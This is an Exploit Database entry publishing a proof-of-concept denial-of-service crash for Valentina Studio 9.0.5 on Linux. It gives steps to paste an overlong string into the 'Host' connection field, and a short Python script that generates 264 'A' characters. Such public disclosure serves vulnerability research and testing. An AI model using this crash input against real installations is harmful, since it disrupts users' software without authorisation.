



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)

**EDB-ID:**

46439

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[ALEJANDRA SÁNCHEZ](#)

**Type:**

[DOS](#)

**Exploit:**   / 

**Platform:**

[LINUX](#)

**Date:**

2019-02-21

**Vulnerable App:** 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# -*- coding: utf-8 -*-
# Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow
(PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://valentina-db.com/en/
# Software Link: https://www.valentina-db.com/en/all-
downloads/vstudio/current/vstudio_x64_lin-deb?format=raw
# Version: 9.0.5
# Tested on: Linux kali amd64
```

```
# Proof of Concept:
# 1.- Run the python script "vstudio.py", it will create a new file
"vstudio.txt"
# 2.- Copy the text from the generated vstudio.txt file to clipboard
# 3.- Open VStudio
# 4.- Go to File > Connect to...
# 5.- Click on Valentina Server or SQLite Server
# 6.- Paste clipboard in 'Host' field
# 7.- Click on button -> Connect
# 8.- Crashed
```

```
buffer = "\x41" * 264
f = open ("vstudio.txt", "w")
f.write(buffer)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.